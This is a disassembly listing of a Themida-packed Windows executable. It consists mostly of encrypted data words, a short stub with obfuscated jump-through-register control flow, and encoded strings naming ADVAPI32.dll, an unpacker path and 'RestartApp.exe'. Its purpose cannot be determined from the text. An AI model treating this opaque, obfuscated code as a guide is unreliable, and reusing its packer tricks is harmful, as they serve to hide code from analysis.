0DBF420AEh, 0E8FF4D0Eh, 781CA1A6h, 882172CFh dd 51D390C3h, 0D2CE093Fh, 2400AF6Ch, 0C3405941h, 19F1F44h dd 0D681B117h, 41F9FE87h, 0D403A338h, 1518C19Bh, 48C8DCAEh dd 399D607Ah, 0CD24049h, 19A8A21Eh, 0B5B10720h, 0A50A9934h dd 35C8CC11h, 0CA88757Bh, 0D0A40Eh, 0B6901F8Eh, 0ADD22067h dd 0A431F500h, 1DABD554h, 0FF53000Ch, 8581051Fh, 10B850C5h dd 0CA515612h, 0CC098D4h, 4674137h, 0C31878F0h, 60A0882Dh dd 3F00117Ah, 7C7EC6B4h, 5049345Eh, 4EDD0B9h, 0FC6687DDh dd 0AC5C80D8h, 65165275h, 1800BFC4h, 0BBB08E81h, 874124CEh dd 1FAB1174h, 0DC4637C0h, 19025A8h, 34F1A758h, 0F210B128h dd 260C7CE3h, 0E9460F5Ch, 282500C9h, 1E843F43h, 0D47DCB34h dd 1CC4C248h dd 0C38A3274h, 0A740C873h, 63C98C08h, 0D19B1154h, 75B46B0h dd 0B9A1A507h, 0F667D684h, 567A3930h, 0B6870267h, 0E5DC8B80h dd 0C6662440h, 0AE802C96h, 0C0DF7AE7h, 0FFC30064h, 65CFB36h dd 1352CA50h, 13506A4h, 110ED3h, 194D4E04h, 368C6978h dd 4B32643Fh, 529E1447h, 745C2EB1h, 4B8D5F4h, 0BFABBECAh dd 1338E4B1h, 3D4FA400h, 0A737C657h, 803090B7h, 21F730h dd 19CB46BEh, 3CCB662h, 0FDB35218h, 0A411C321h, 63860188h dd 2FA08C28h, 30C448B1h, 1316FF01h, 11FE6E9Ah, 7D243980h dd 0C6263A60h, 2E7CF53Bh, 5D06DA98h, 5151D2h, 0D70B8353h dd 0AE0C282Ah, 0CAB9E102h, 66298CD9h, 0B8C90008h, 0C2C04F31h dd 86007430h, 7EBC1DCCh, 171B10h, 790C63A1h, 1FC9245Bh dd 0C4BCAC50h, 575D4900h, 56901E8Ah, 7017B3Ah, 664BD37Dh dd 9C12AB48h, 0B087C50h, 80340E1Bh, 875A38F7h, 0B23DA45Eh dd 8D6B18BDh, 630431h, 45778CBFh, 1C8B7BFDh, 8036E138h dd 0E03E5DDCh, 221556Ch, 1846B1Fh, 48E40EB7h, 5D0D401Fh dd 0BA2E7FC0h, 1F5482h, 9745060Bh, 0A9F090E5h, 0C8AC5F0Eh dd 3133A0D8h, 6DD0FBh, 95061EA3h, 866F61D3h, 3073C01Ch dd 0A940315Dh, 0E10134B3h, 0E7EF004Bh, 0D15A2389h, 2D001E5Bh dd 0CD7429FAh, 0C060D288h, 341AB131h, 0CC0067A1h, 0CFC2B35Ah dd 3362D5h, 18139880h, 3AD18FCAh, 5C6C88h, 22974AF6h, 5B27AFF4h dd 37D66D00h, 0D8ACB6B9h, 3328C7D2h, 0B8ABD62Ah, 5C1FDCF0h dd 60BA9142h, 27CB3649h, 8D7112h, 2181354Ch, 39057293h dd 63DC3F18h, 1C57629h, 7EA0B056h, 0F0AB6D67h, 693DAFF6h dd 810D8061h, 26A96817h, 6C765474h, 6F9A0143h, 0F60FD1BAh dd 0BC07F4CCh, 0F1119C00h, 0EBD4DE9Eh, 0EB0C8ACh, 0CB145781h dd 1180281Ah, 38669E68h, 0D201B694h, 9BE0A5DEh, 3B03EB84h dd 0FEC86900h, 0B45EDD4Eh, 8F7402B2h, 0B3552154h, 5CA10EC0h dd 0E0C3532Ah, 678AFA03h, 0E1E3CF8Eh, 1996DFBDh, 51AA00E2h dd 0F9796E45h, 4AB5CD03h, 0B8F12172h, 2BD5B50h, 0DA7EBB95h dd 1C80C9D1h, 0E45C2C06h, 6CBA4700h, 93CC29DBh, 11FFC56h dd 86E24A0Eh, 80C6C9FCh, 93C09731h, 580CA6h, 7B9ABB96h dd 0E2E0A35Eh, 829F4B03h, 0C0B6250Bh, 603A229h, 0C8BC3037h dd 2004194h, 7556D448h, 75D9FE5h, 7292C9CEh, 8F632345h dd 90B4E7CFh, 9A6D5557h, 0B6A6110Ah, 5181A826h, 0AA5CC9E0h dd 52E56040h, 0E6FD00D9h, 8F11858Ah, 0ACA85836h, 39C03B1Ah dd 0F4146428h, 82EB3DE5h, 0AE2876C8h, 0E9892C88h, 615B076Fh dd 5EA35FECh, 3906A75Dh, 35D2AC31h, 434F0051h, 0EE8096D4h dd 4C92B078h, 28D92E00h, 38087015h, 2F3A03C5h, 5FD09EA6h dd 23973900h, 21BD7596h, 0E38C001Dh, 5CE51630h, 0ECA4C4BCh dd 48732905h, 1C00D1E0h, 6B4DD741h, 862A008Eh, 2836CB04h dd 246E1C70h, 2580BCA1h, 52E00222h, 0FF632869h, 0E1EB3988h dd 0B9FEEA00h, 90A995EDh, 5961D130h, 88B321h, 6D5450CAh dd 9C82605h, 0A1EC7401h, 817FAD08h, 0F998908Eh, 92B2EF80h dd 0BC30A24Dh, 0BAA5186Ah, 4B5302AEh, 930C9DEh, 1294D441h dd 0BC44D2h, 90ADE0FDh, 0D384C1B4h, 0D407EA00h, 0AF3CC411h dd 771A30A7h, 0FCB2B0C9h, 79B49207h, 73039413h, 23F7F04Eh dd 0F03B0E41h, 55E8FA0h, 0D943B9h, 0A9C16292h, 3460D2A7h dd 6E853371h, 65A40035h, 0C6B353EAh, 0B4A1BB74h, 1B8F10A2h dd 5831DD2Ah, 77F8395Eh, 82552501h, 0C2471DE0h, 1CBE8h dd 9D457B4Ah, 8DC75DBBh, 5C001890h, 0AC766693h, 6F7D396Ch dd 407EF997h, 0BE6012E3h, 67001BF1h, 6962F0CFh, 796D084h dd 8DE254D5h, 5E3980ACh, 0DD14D9D2h, 0E60CA73h, 0A21C5623h dd 80CE0754h, 0D0400DE4h, 0DDC8305Ah, 0E97BDCC1h, 4737B000h dd 0DFFE06BBh, 11798D0h, 0D94AC480h, 22C88E01h, 0A5180F90h dd 9C8E1E98h, 0F584E057h, 60443D70h, 0D953B9B6h, 0D230C4E5h dd 8F208936h, 76400B7h, 43E34556h, 3F30FA1Fh, 133C7842h dd 82190350h, 0B5493DC4h, 9CA4907h, 9A17C8CFh, 0F817036h dd 0E8476FB1h, 0E024FAE3h, 38573C80h, 641FFB00h, 66E36BCDh dd 99783067h, 0E12BDE49h, 8016F900h, 0B205FAABh, 213C00EDh dd 0E9DB1EB1h, 6E00729Ch, 0CEA3F3CDh, 14183829h, 94EAC935h dd 0A00164C7h, 22AD9630h, 85B44C3Fh, 0D1972D90h, 3C1B7403h dd 0C91AB87Fh, 939C1C5h, 20068E2Dh, 0CF73F1A0h, 304358h dd 88D781E0h, 892F27Fh, 58D0FCFFh, 5369BF80h, 16572033h dd 0C3E760B1h, 75C846AAh, 9E148D15h, 5B4C9FFh, 0A95C7A51h dd 0BA5BD020h, 4440491Ah, 935DE100h, 0D9C341Bh, 6D2CB700h dd 844DA94h, 8109001Eh, 72AB3740h, 9618229Fh, 8498CC8h dd 117E68h, 9B26EA1h, 513FE8DCh, 865FF900h, 2CEBFA7Fh dd 0C8E22CB6h, 15CA80A4h, 34A2D71Fh, 0DE455017h, 0B324F905h dd 24C1A284h, 6DF014F4h, 4D6E267h, 32A992A3h, 8C24C8D3h dd 80E54F3Eh, 0D938C260h, 650DE8h, 5714B5F5h, 7D3DC14Eh dd 66ECAF54h, 8672A30Eh, 9B9560ACh, 0E58F0Bh, 0B023EA37h dd 0D322F2AFh, 1AE11B13h, 78BF820h, 5028035Ah, 42EA6776h dd 5B46F6A8h, 979B6E17h, 215E6C30h, 132500AAh, 4D0CC986h dd 5C08D9A0h, 0BB35248Fh, 0ABC52A9h, 0A884C5CBh, 6C384C80h dd 0EC4D4001h, 0A963B3ACh, 7E876481h, 0FA33C31Ch, 46F5801Dh dd 66F30001h, 0FD0A816Dh, 0BFEED8E2h, 0A22C7222h, 1C64C430h dd 4164EE7Ch, 1A42F23Ch, 8C19802Ah, 3E038618h, 0F72B175Dh dd 44B30B8Dh, 0EC6AD400h, 4C06BE5Ah, 0AC78BA57h, 79700059h dd 0FBC6F4DBh, 391C7551h, 0F4E6FC1Bh, 30E3628Ah, 6B309280h dd 0A72E56h, 436E4065h, 9846BA2Ch, 0F3C4AF4h, 2AEB9F90h dd 0F802A911h, 7D8F5081h, 9BD9C99h, 0FB9C9400h, 0B2C8014Dh dd 4FDDD4E5h, 3F18202Ch, 8839A600h, 0E191BF25h, 41CE00D8h dd 1B5726Dh, 2A090ABEh, 90156867h, 0F417BCh, 57F3EF3h dd 61B160F6h, 0FD6AC500h, 0FEAB2E02h, 1B892C5Dh, 11D54014h dd 0A204EE4Dh, 979744Ah, 0B19304EBh, 6E8CC127h, 3D8CFC33h dd 0D1A74530h, 115B93E3h, 7C61D2C8h, 46EEF8A0h, 0F676D700h dd 21964F55h, 86AD0292h, 72A771D5h, 80101F62h, 0FA2C5742h dd 0A240BCD9h, 2A89615Eh, 8CDBF3h, 0DCD8D623h, 0B0B2E914h dd 93EF361Dh, 2F156400h, 0C0B17D50h, 57E7C991h, 320217EAh dd 422DE9E5h, 74064C8h, 0F409D89h, 4985E34Dh, 3D7230E8h dd 9290F24Ch, 46116030h, 0FC4C0039h, 4BCA57B0h, 0E25C8840h dd 0A678006Ch, 0BD673DA7h, 8C32ED5Ch, 49A47D18h, 3C00CB7Ch dd 0FDD8D15Dh, 0A13A2C73h, 0F872A478h, 48F48F05h, 99604F81h dd 0D90B1BE3h, 0CA0868F8h, 8FB8131Bh, 0C417D96h, 59D2B995h dd 54000A11h, 0B3B14E6Ah, 259DBCA4h, 8010C9C8h, 400E8835h dd 2D3A5B66h, 74F4C096h, 6DAB01CFh, 39709D8Ah, 684C30AEh dd 2A342700h, 9892C69Fh, 0C0B178h, 32B176ACh, 9B00128Ah dd 8DABC9A8h, 26E8BCAh, 0A43F7593h, 0DCC0C3F9h, 620040EDh dd 0B76A4B2Eh, 15F45A95h, 0F03C1A80h, 0FAC84E00h, 0EB69C2ABh dd 3F67AA00h, 45480ED1h, 0EEE20158h, 3D939D41h, 50DB709Fh dd 4C53AC04h, 20B2C452h, 2E25CC00h, 0E1BC35A6h, 81B4DF00h dd 0C52B39E3h, 0DDF50BFAh, 9898B0DAh, 2E00CC13h, 3BDF77C8h dd 506614h dd 0AFD78FB6h, 2282BFEFh, 710CC4B0h, 801495B0h, 3074915Ah dd 9BFBC880h, 0E0926C18h, 538FB528h, 0CF1FCC32h, 0B87418CAh dd 5B09306Ah, 80B0B66Bh, 4329A538h, 7F8898D4h, 20394A9Ah dd 0B83C99A0h, 12370400h, 0B5CB8D8Ch, 0B15C2544h, 96D74C98h dd 58E65D7Bh, 951CC100h, 0D8DC8CADh, 3FE62CE1h, 5D680400h dd 2640B2D6h, 6F0020E5h, 119BEC94h, 0CCBF07FFh, 615996B0h dd 40E12F7Eh, 0D95FBED0h, 8CE0352Eh, 826D3600h, 14B0A475h dd 28A85CEAh, 0F3005453h, 49372061h, 7B14974Ch, 60AEB821h dd 0D5B1BD29h, 0A14D002Dh, 9C387494h, 250073D0h, 0F082E5ADh dd 26B54EC0h, 928E099h, 704EA5F2h, 0A418460Fh, 0E21940F8h dd 29B5393h, 50214D47h, 0F4C13F15h, 3E8F11D8h, 0AE002836h dd 256B8CFCh, 0D3004C5Dh, 0EF623CF0h, 481AFAC2h, 35C0D40Ah dd 7C872EB4h, 3AF0FEE8h, 0FA3CC100h, 6A0CE78Eh, 751A2A84h dd 0F37F58D4h, 8C263D00h, 0F230801h, 590058F4h, 0BE2014A0h dd 534732Fh, 1563455Bh, 29CC09FBh, 87C6CC85h, 34A83890h dd 0D9C80B18h, 174D7511h, 266366h, 0FA82FF91h, 833ACE84h dd 277C0078h, 0A9F16CA6h, 7E6A0053h, 0C992858h, 671355DAh dd 8031412Ah, 0D848BF5Ch, 9468265Eh, 0D9580954h, 8043140Ah dd 0FF4B553Ch, 0B4B9D1FAh, 0E1CDB900h, 14683F4h, 18E8F68Dh dd 0CCB352E9h, 84A6203Ch, 5435470Fh, 0FA51E099h, 9E52A4h dd 0B8CDED89h, 0F336ACBAh, 7EB1CCEDh, 0BFA8C8A0h, 0CA22D4A4h dd 281B50C9h, 541003F9h, 0CB0B021Fh, 0C18745F0h, 6A0020E0h dd 7E4B2C56h, 1A3EC2Dh, 8B6DB56Bh, 80D9AC01h, 98B13349h dd 0C03F1A46h, 0FB0B8A11h, 44047D5Eh, 0AF301CB6h, 34FEBC81h dd 360C9872h, 0E4997E1h, 1F23F407h, 4F50852Bh, 0DF55A3h dd 9B9F5B22h, 80FAB941h, 0A0E8B828h, 0C80C4278h, 7130DCACh dd 0E4A4C9h, 277228E7h, 976F0782h, 89348503h, 18A60F3Dh dd 0B95ED279h, 0E8072CC4h, 0FE7D066h, 80937B03h, 0A0DEFFh dd 5A5C3440h, 0F6742996h, 0EB327338h, 20D00E39h, 4E0DB23Bh dd 0D2B112BBh, 1002078h, 99018381h, 73433077h, 20658FFAh dd 64002BE2h, 486A5547h, 0A43424F5h, 5916C97Ch, 0C849891Bh dd 0C52404C8h, 0F3937058h, 7800F091h, 0EBB52EEh, 0EB9039h dd 111FD060h, 0B80BDC5Eh, 51082C09h, 1C4410F3h, 7A291D24h dd 0CA894020h, 5BBD60B4h, 0A10080B0h, 0D18B6B72h, 1F4C99B0h dd 40B78239h, 152432E1h, 0AC090387h, 0FA414CAh, 78946486h dd 1F928CB4h, 0C0BBFEA9h, 9E6A987Ah, 7852DA85h, 0E62B00F4h dd 0FECF2263h, 9A59012h, 0D39F1350h, 0F9987C13h, 0F60EBEF1h dd 0E0BDA1F3h, 0B355321Bh, 0D93F09F0h, 880A38Dh, 59452018h dd 0ECB86900h, 0F2646CF5h, 0A6F4095Bh, 0AC44CB9Ah, 0FC831D13h dd 0A5F34A00h, 26800C58h, 47F81506h, 0A0BC2747h, 42315696h dd 3EE5B800h, 65457275h, 789F1844h, 9A60C198h, 0F6DBD71Ch dd 549B3A47h, 16B5B4F0h, 0E31813AAh, 0E6F488A4h, 3F998700h dd 61ED7B90h, 85760058h, 820A23F9h, 7400C339h, 5E98D8C1h dd 30E8DA62h, 0F2699B34h, 8E007794h, 96E23DC8h, 75E99E49h dd 0CC1417FAh, 0BB3B00FFh, 0BA33BC32h, 9D4BF4F0h, 0E0E89025h dd 0B8E77407h, 0C9B1C00Ch, 0FC00FFB3h, 0FA3A56A4h, 30F24829h dd 0DA49E132h, 7363C90Eh, 0F03D2741h, 0E47C99h, 173C6144h dd 0DEA27BDAh, 0A80F92C6h, 0D9E101A9h, 0C1056D83h, 844C7004h dd 695E931Ch, 8E96428Bh, 81FA0040h, 2C72C86h, 90C5B353h dd 3440C82Ah, 0AB1D5CB2h, 20659BCBh, 296D5B38h, 0C9580402h dd 0C078F754h, 0D8F3A0D0h, 3D3688h, 46471E85h, 0CB273CACh dd 0B200FCF0h, 0B199D8E3h, 245695EAh, 6004B5A5h, 0F9775A3Bh dd 0BF766800h, 6151D3ABh, 9DBB0396h, 71F3B436h, 8DDA6101h dd 0B202381Bh, 1E3A99CCh, 406BC6D1h, 0A9B78B5Fh, 98146581h dd 0C0F8A6C8h, 88CF5C0Dh, 731903BEh, 65EF4510h, 0E08FD6F9h dd 0DCA2A50Ah, 4D008C46h, 4FDEC4B6h, 0BFEBBC7h, 1BD62690h dd 0EF86CC90h, 0C4191200h, 586CD8F8h, 1CDD026Fh, 372C72A7h dd 430B2064h, 188D44D1h, 0FB7CB660h, 0F80DEF8h, 0C0B7684Ch dd 2118F3EFh, 560701F5h, 0FECB051Fh, 81069200h, 3E1C0704h dd 6026556Ch, 715B7296h, 181FDB24h, 9983801h, 9473DFACh dd 18638202h, 0E4D1CA42h, 0BBFB0038h, 0D6C88010h, 2A0D0A86h dd 60C44C0Eh, 0D0C2F756h, 7EB8BC03h, 0A0D15C8Dh, 5C5EEC8Ah dd 0C622B4CDh, 9B1D4016h, 1F6A8C8h, 680D6F1Fh, 70CDD8DBh dd 720571F0h, 0F3B1186Dh, 8D2B1400h, 13C7C9D9h, 0C8498F95h dd 394D32B8h, 0C5EC00FAh, 0D3C3E117h, 2ADC0089h, 9285A08Bh dd 37678F81h, 83E9A931h, 0B2753F38h, 0E6446080h, 0BCEE50C6h dd 507790A7h, 52F58F3h, 48F7F92Bh, 8F6420FEh, 5B50A3FCh dd 0DC0272A4h, 0E5D95514h, 44C479h, 433D38AEh, 0C81E82E7h dd 0E21F1300h, 0A6F72C30h, 41B71836h, 2A688880h, 0C0591760h dd 0BB7B30h, 44283B37h, 2AA8D8D6h, 27329803h, 0B37DBAh dd 757F8A29h, 4A3B8337h, 0A3FC502h, 5AD386A6h, 4F090084h dd 30F87CD5h, 4A7A70C9h, 2CF04848h, 45160C23h, 0F1CBC004h dd 0DB34CCh, 8143C410h, 67919869h, 0A1D739h, 0A2798C03h dd 725E7240h, 118992Ah, 105A95CDh, 693C30B9h, 0F386ED08h dd 54019EC5h, 0B441A4F2h, 4870CAF0h, 0FB0AACB4h, 2A01DAAh dd 0DB79C443h, 170368D9h, 0D07A3EE4h, 287D3B97h, 1B4B8F7h dd 0F41B3C5Ch, 808ABAF8h, 53828070h, 9CD0CB8Dh, 56F78090h dd 0AEDFF169h, 0D14DF007h, 6620DA21h, 0C57E927h, 0B579E4A3h dd 32070AC1h, 9350B16Fh, 7529E0D0h, 3CF76C5h, 56455BFCh dd 0D1E2A58Ah, 7800F85Ah, 0B92ED357h, 0B02A3724h, 2B3212F8h dd 2C3F870h, 9CDA7CAFh, 0E9E78269h, 0B06297h, 3B1FFC38h dd 464E007Ah, 98F47299h, 97EAAAB0h, 9C9ABB0Bh, 29FD805Ch dd 98D046A5h, 0E7380BB0h, 0B4481503h, 41E2681Bh, 1194E600h dd 0BDD635D8h, 0B6FC07DEh, 0D0C4B9CEh, 7DA3093Fh, 140040B1h dd 6349CF3Eh, 0C9610136h, 1897BCC5h, 75DBF8CAh, 48B1AC25h dd 31A604h, 3E64328h, 402A0685h, 0D11398B1h, 73AEACD0h dd 600A0019h, 38806E44h, 50B8B0B8h, 4D685B01h, 155E3DD8h dd 20341C42h, 6DD737E3h, 0E14F3E1Fh, 0DE196718h, 14D20097h dd 5E897232h, 8A0725B6h, 6A845C4Ch, 8F358DF0h, 5CFFE8AEh dd 0A280C879h, 0B0019BADh, 13166F75h, 0F4006C7Dh, 0C75F63C6h dd 0B95A2E85h, 0D2F7022Ch, 344699A9h, 2F14D400h, 0B4872C97h dd 0DE900E36h, 9AC006D2h, 705CEC8h, 81C5C2Ch, 207B9F40h dd 0F4E10722h, 60E46065h, 0E883740Eh, 0A8F03C3Ch, 3044A472h dd 9BE23CA3h, 2A00E16Fh, 291BC39Fh, 70EB11C0h, 0EE77512h dd 59F4819Bh, 72CA6500h, 26903FFFh, 5E714500h, 5C4D5052h dd 0D9A8095Ah, 9480EAD8h, 0D04FA099h, 0C6807894h, 57847ED5h dd 91F0016Ah, 7813C528h, 90FC70E5h, 9FA00295h, 92908A76h dd 10E4A11Fh, 0BA3BB140h, 7BD5001Ah, 0F06EF6CFh, 3D070845h dd 68098DEBh, 10009E87h, 3BAF9D7h, 6E6D2BA6h, 0CF80FFE5h dd 21C0C886h, 680E366Fh, 0E411C0F6h, 14B74531h, 3706B800h dd 0B52DBC0Dh, 0CAED5CF5h, 287DB118h, 0FD0012CAh, 71E7BEEAh dd 0C009F36Ch, 53ED9E19h, 4501F92Ch, 0B3737006h, 6181D291h dd 0CDA61FB7h, 7242C06Eh dd 4500E273h, 0E319F36h, 263EE039h, 0BD321Dh, 0F5F39707h dd 7330438Ah, 9F376194h, 0FA5A00DBh, 24338788h, 6F00E185h dd 5F1CF749h, 0D49BDDh, 6569514Ah, 0BBD9368h, 0B60098DCh dd 8675570Eh, 0A3400F2h, 0FBA401EAh, 731F35Bh, 6BECC11Fh dd 0DDD45840h, 28F00178h, 2BEB6AADh, 863371FFh, 89B11051h dd 0D7135899h, 3BC97400h, 9C82EAB4h, 5C29510Ch, 40591Dh dd 69AB3F1Eh, 834D87B4h, 26175226h, 7E497100h, 8EE059h dd 0A7903ACDh, 4AECA319h, 395A662Eh, 6ADA0603h, 0D7900F5h dd 0D43EC41Dh, 0BD091518h, 80D0F890h, 77AD3168h, 5F7B0326h dd 195C2472h, 94E48100h, 55D427D8h, 0CCA100A7h, 817B0273h dd 0F700BDA5h, 0AC198BBFh, 1406785h, 71C07D8Ah, 23A2B346h dd 974A0318h, 786ACBDh, 40CF1AF9h, 4F75E083h, 8500DDE0h dd 0BA5A1D2h, 1170190h, 0FEB3AD2Ah, 0E02970F0h, 0F7626BF5h dd 63647451h, 1C30F8DEh, 0C97A049Bh, 0C0123D2Ah, 0D48314E4h dd 295B4406h, 7FC9CC67h, 4FAC0384h, 0CBE2CDE5h, 818DECB8h dd 82233700h, 21C98518h, 31F93C1Eh, 0CC190F8Ah, 0FFFF5F01h dd 6Ch db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57BADA: ; CODE XREF: start:loc_513265j ; DATA XREF: start:loc_513086o jmp loc_57EF83 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 8Dh dd 0EF78Dh, 94000000h, 7C90EBh, 8 dup(0) dd 64000000h, 3 dup(0) dd 94000000h, 9Eh, 2 dup(0) dd 0CA000000h, 0B8C367h, 2 dup(0) dd 6C000000h, 54000004h, 740012FFh, 865559h, 0CC000000h dd 0B23Eh, 3 dup(0) dd 31000000h, 5EC9h, 0 dd 0CB000000h, 51D3E4D9h, 0B28Eh, 0 dd 94000000h, 7C90EBh, 2 dup(0) dd 7A000000h, 3Fh, 2 dup(0) dd 3F000000h, 0FFFFA3FDh, 0FFFFFFh, 38000000h, 0FFFFBDh dd 5 dup(0) dd 2B000000h, 5BBDh, 61h dup(0) dd 84000000h, 0FFED01h, 13h dup(0) dd 94000000h, 0FFFFEBh, 8 dup(0) dd 38000000h, 7C8026h, 3 dup(0) dd 71000000h, 7C90FBh, 7 dup(0) dd 31000000h, 0FF4D57h, 0A0000000h, 0E4875Ch, 0 dd 0B000000h, 0FD025D6Eh, 1804FFh, 78000000h, 0B791h, 2 dup(0) dd 94000000h, 7C90EBh, 8 dup(0) dd 0A700h, 2 dup(0) dd 8000000h, 0B100B228h, 7Fh, 8 dup(0) dd 17000000h, 0FFFEEBh, 3 dup(0) dd 23000000h, 57C3h, 2 dup(0) dd 67000000h, 5F12h, 2 dup(0) dd 6C000000h, 836F14h, 0F6000000h, 5D4Bh, 2 dup(0) dd 0EE000000h, 7C905Fh, 0 dd 77000000h, 5FE5h, 7 dup(0) dd 6E004000h, 1B6D8B54h, 2442BEDFh, 0B20Eh, 6 dup(0) dd 76000000h, 74631Bh, 0B0h dup(0) dd 0FF000000h, 0FFh, 2 dup(0) dd 0F0000000h, 4001h, 80000000h, 8, 4 dup(0) dd 20h, 20000000h, 0DD88D3h, 0 dd 5110h, 9 dup(0) dd 0F4000000h, 162E27h, 0 dd 20000000h, 0B28Dh, 4 dup(0) dd 94000000h, 3Dh, 2 dup(0) dd 0FD000000h, 5BE8h, 84000000h, 5EC8h, 4 dup(0) dd 0D1000000h, 7, 6 dup(0) dd 0E0000000h, 12FFh, 3 dup(0) dd 0DF000000h, 19FA5FFBh, 23h, 4 dup(0) dd 0A0000000h, 2 dup(0) dd 68000000h, 8E000000h, 5EC5h, 0 dd 44000000h, 5B57h, 7 dup(0) dd 0D8000000h, 0FD24CFh, 2 dup(0) dd 0BE000000h, 5AAAD9h, 3 dup(0) dd 80000000h, 0FFED01h, 66000000h, 0BBD17Fh, 0 dd 0F4000000h, 98FFFF8Eh, 0A9005A61h, 0B2EAh, 94000000h dd 4D7C90EBh, 491DC6h, 0Fh dup(0) dd 0A4000000h, 12FFh, 0FD000000h, 5EFFh, 0AC000000h, 0FFED00h dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Ch dup(0) dd 79000000h, 9EE8ECh, 0C8000000h, 5BD0h, 12000000h, 0F7F89Bh dd 0 dd 0EA000000h, 4B69C7h, 4 dup(0) dd 94000000h, 7B7C90EBh, 57C6h, 5 dup(0) dd 0DB000000h, 1BFFA157h, 77DFC4h, 70000000h, 0FFFF95h dd 1100h, 2000000h, 80h, 0 dd 0D4000000h, 25513Ah, 0 dd 0B8000000h, 0 ; --------------------------------------------------------------------------- or eax, eax jz short loc_57C687 retn 18h ; --------------------------------------------------------------------------- loc_57C687: ; CODE XREF: Themida_:0057C682j mov eax, [esp+0Ch] push ebx call $+5 pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0B2FA37h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 10h dd 12h dup(0) dd 44000000h, 73h, 0 dd 45000000h, 0DC07A14h, 3004006h, 0B2FAh, 0 dd 94000000h, 7C90EBh, 2 dup(0) dd 0B1000000h, 7Fh, 4 dup(0) dd 22000000h, 0B10057F6h, 5D86h, 4 dup(0) dd 71000000h, 781804ECh, 0D2000000h, 216C09h, 1000000h dd 3E000000h, 5CC7h, 2 dup(0) dd 5B000000h, 76B44Eh, 0 dd 12000000h, 26380415h, 5B7Ch, 81h dup(0) dd 79000000h, 127413h, 0F0000000h, 5BA7h, 0 dd 7E000000h, 0AFA5D4Fh, 223570h, 0 dd 1000000h, 0Bh dup(0) dd 0F6000000h, 14005D0Ch, 1130h, 3 dup(0) dd 0D0000000h, 0FFA3CDh, 2 dup(0) dd 94000000h, 7C90EBh, 4000000h, 4 dup(0) dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ah dup(0) dd 0F1000000h, 5BF6h, 7 dup(0) dd 0F000000h, 0B218h, 0Ah dup(0) dd 82000000h, 5EAAh, 4 dup(0) dd 44000000h, 0FD00B21Ah, 5BE8h, 0D0000000h, 5EA9h, 19h dup(0) dd 1000000h, 0 dd 4C000000h, 37000000h, 78058Eh, 0 dd 58000000h, 0FFFF95h, 0 dd 0C200h, 4 dup(0) dd 2230h, 0 dd 10000000h, 7FFFE2h, 1000000h, 0A4000000h, 70F556h, 0Ah dup(0) dd 29000000h, 5AAA2Bh, 2 dup(0) dd 82000000h, 16149BEh, 0E9000000h, 24h, 94000000h, 5D7C90EBh dd 5A69h, 3F000000h, 57E1h, 9 dup(0) dd 0E5000000h, 0FFFF98h, 3 dup(0) dd 19000000h, 2 dup(0) dd 0C7000000h, 0ACCFB7h, 2 dup(0) dd 18000000h, 228323h, 10h dup(0) dd 64000000h, 7C802Ch, 6 dup(0) dd 0B700h, 0Ch dup(0) dd 3000000h, 0B2FAh, 0Ah dup(0) dd 0C4000000h, 0ADFFFFF2h, 7E41A8h, 2 dup(0) dd 9C000000h, 0F2D2E0h, 12h dup(0) dd 7000000h, 987B7A06h, 5A61h, 3 dup(0) dd 0E0000000h, 12FFh, 0A4000000h, 0Ah dup(0) dd 20000000h, 94B31BD3h, 7C90EBh, 0A4000000h, 95005B56h dd 3AB041h, 3 dup(0) dd 0CF000000h, 0E90057BBh, 40EDh, 0Bh dup(0) dd 27000000h, 3 dup(0) dd 0D2000000h, 525EE9h, 3 dup(0) dd 0F2000000h, 0C67C814Ah, 5F10h, 0 dd 0E5000000h, 0B831h, 0 dd 83000000h, 77DD78h, 0D3000000h, 2061CD9Fh, 0B219h, 8 dup(0) dd 23000000h, 57C3h, 7000000h, 22h, 5 dup(0) dd 70000000h, 0 dd 0B8000000h, 252h, 9 dup(0) dd 3D000000h, 5B27EFh, 66000000h, 35BBD17Fh, 0B11674CEh dd 5D16h, 0D000000h, 4006h, 12h dup(0) dd 37000000h, 6800B2FAh, 6342Fh, 3 dup(0) dd 0F000000h, 0B218h, 7 dup(0) dd 0AC000000h, 0FFED00h, 7 dup(0) dd 28000000h, 0FFFF92h, 4 dup(0) dd 0F000000h, 0B218h, 0 dd 44000000h, 0DD00B21Ah, 32h, 0 dd 1000000h, 0F000000h, 900254F8h, 5E89h, 2 dup(0) dd 0BF000000h, 5AF3h, 0 dd 20000000h, 7555A6h, 46000000h, 5D11h, 2 dup(0) dd 0B1000000h, 5D16h, 0 dd 59000000h, 5B66h, 7 dup(0) dd 25000000h, 2A00B20Ah, 9E25E106h, 0DF0057FBh, 0FA5FFBh dd 3F000000h, 5BBAh, 0D000000h, 0E004006h, 47853h, 0Ah dup(0) dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 0Ah dup(0) dd 90000000h, 17005D2Eh, 0B294h, 3 dup(0) dd 44000000h, 0C246DAh, 7 dup(0) dd 0B0000000h, 1C3FFh, 76000000h, 1200016Bh, 23624827h dd 5B00h, 98000000h, 5A61h, 3 dup(0) dd 0E5000000h, 0FFFF98h, 3 dup(0) dd 61000000h, 0EFFFFEBh, 0FF124Eh, 2 dup(0) dd 3000000h, 6D00B2FAh, 7B7A58h, 2 dup(0) dd 62000000h, 18h, 4 dup(0) dd 5B000000h, 76F36Ch, 0Dh dup(0) dd 3F000000h, 57BBh, 3 dup(0) dd 7C8000h, 0 dd 94000000h, 0FFFFEBh, 9 dup(0) dd 3C000000h, 219B6E4Dh, 212121h, 3 dup(0) dd 40000C9h, 6 dup(0) dd 78000000h, 0B528h, 2 dup(0) dd 94000000h, 7C90EBh, 4 dup(0) dd 1000000h, 0A00h, 6 dup(0) dd 54000000h, 0D0FFFFFFh, 57BBh, 5 dup(0) dd 0F9000000h, 0EEFBC8h, 0Bh dup(0) dd 0C9000000h, 0F0005E93h, 12FFh, 8B000000h, 0DB6EF9h dd 6 dup(0) dd 82000000h, 0C6h, 0Fh dup(0) dd 42000000h, 1000010h, 3 dup(0) dd 61000000h, 4DDED0AFh, 7BE9F93Eh, 